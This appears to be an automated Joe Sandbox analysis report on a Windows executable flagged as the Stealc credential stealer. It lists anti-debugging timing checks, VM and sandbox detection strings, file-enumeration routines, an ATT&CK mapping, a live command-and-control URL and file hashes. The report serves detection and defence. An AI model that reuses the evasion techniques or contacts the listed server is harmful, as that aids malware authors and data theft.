Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2E59 second address: AB2E5F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4AF2 second address: AB4AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4AF8 second address: AB4AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4964 second address: AB4968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB4968 second address: AB496E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6EC5 second address: AB6EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC23D5 second address: AC23DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC23DB second address: AC23F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0C44CFD9B3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC23F6 second address: AC240D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C44C1C9EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC240D second address: AC2411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE228 second address: ABE22C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE22C second address: ABE232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE232 second address: ABE23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD2028 second address: AD2053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C44CFD9B0h 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007F0C44CFD9A6h 0x00000011 jnp 00007F0C44CFD9A6h 0x00000017 push edx 0x00000018 pop edx 0x00000019 jnl 00007F0C44CFD9A6h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE063E second address: AE0642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0642 second address: AE065B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push ecx 0x0000000c je 00007F0C44CFD9A6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE065B second address: AE065F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE079F second address: AE07AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 je 00007F0C45403116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE07AB second address: AE07B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0914 second address: AE0920 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0C45403116h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0AA4 second address: AE0AAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0D2E second address: AE0D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007F0C45403116h 0x0000000c js 00007F0C45403116h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0D40 second address: AE0D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jng 00007F0C45332E1Ch 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE0EA7 second address: AE0EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE1160 second address: AE1173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007F0C45332E12h 0x0000000b jne 00007F0C45332E06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE12B2 second address: AE12B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE12B6 second address: AE12CF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0C45332E06h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007F0C45332E06h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3FF0 second address: AE4009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F0C45403116h 0x00000009 ja 00007F0C45403116h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4009 second address: AE400D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE400D second address: AE4013 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE56D4 second address: AE56E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0C45332E0Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE56E8 second address: AE56FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C4540311Ch 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7372 second address: AE738E instructions: 0x00000000 rdtsc 0x00000002 js 00007F0C45332E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f jg 00007F0C45332E06h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6F5A second address: AE6F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C45403121h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6F70 second address: AE6F7A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0C45332E0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000359 second address: 50003FE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0C4540311Fh 0x00000008 and si, 1ADEh 0x0000000d jmp 00007F0C45403129h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 jmp 00007F0C4540311Eh 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F0C4540311Eh 0x00000027 xor eax, 68FD9A08h 0x0000002d jmp 00007F0C4540311Bh 0x00000032 popfd 0x00000033 push eax 0x00000034 jmp 00007F0C4540311Fh 0x00000039 pop eax 0x0000003a popad 0x0000003b pop ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushfd 0x00000040 jmp 00007F0C45403120h 0x00000045 or eax, 14FE0F98h 0x0000004b jmp 00007F0C4540311Bh 0x00000050 popfd 0x00000051 pushad 0x00000052 popad 0x00000053 popad 0x00000054 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A075A6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A29B37 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A8A8DE instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006238B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006238B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00624910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00624910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0061DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0061E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00624570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00624570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0061ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0061BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0061DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006116D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006116D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00623EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00623EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0061F6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00611160 GetSystemInfo,ExitProcess,

0_2_00611160

Source: file.exe, file.exe, 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1876333554.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1876333554.0000000001145000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1876333554.0000000001173000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13199
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13196
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13210
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13250
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13215

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006145C0 VirtualProtect ?,00000004,00000100,00000000

0_2_006145C0

Source: C:\Users\user\Desktop\file.exe

0_2_00629860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00629750 mov eax, dword ptr fs:[00000030h]

0_2_00629750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00627850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00627850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6636, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00629600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00629600

Source: file.exe, file.exe, 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 2XProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00627B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00626920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00626920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00627850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00627850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00627A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00627A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1876333554.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1831952446.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6636, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.610000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1876333554.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1831952446.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6636, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpJD	file.exe, 00000000.00000002.1876333554.0000000001145000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/U	file.exe, 00000000.00000002.1876333554.0000000001157000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1876333554.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/9	file.exe, 00000000.00000002.1876333554.0000000001157000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpObL	file.exe, 00000000.00000002.1876333554.0000000001157000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528224
Start date and time:	2024-10-07 17:07:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 83
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	XDPT5mgIBO.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	xwZfYpo16i.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	185.215.113.103
	c3KH2gLNrM.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	NHvurkKE21.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	XDPT5mgIBO.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.103
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	185.215.113.103
	bUyvu6YU2H.exe	Get hash	malicious	Amadey	Browse	185.215.113.19

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944532610494713
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'794'560 bytes
MD5:	c1a82a310c9dc31947dfae1e6136dc46
SHA1:	a9868cf5ede614df7911b1e62b5d20a04fc4c259
SHA256:	35ce1834e64cfffdd4729c0254790e7aca014b3013733ccf872907d8d04e2b2b
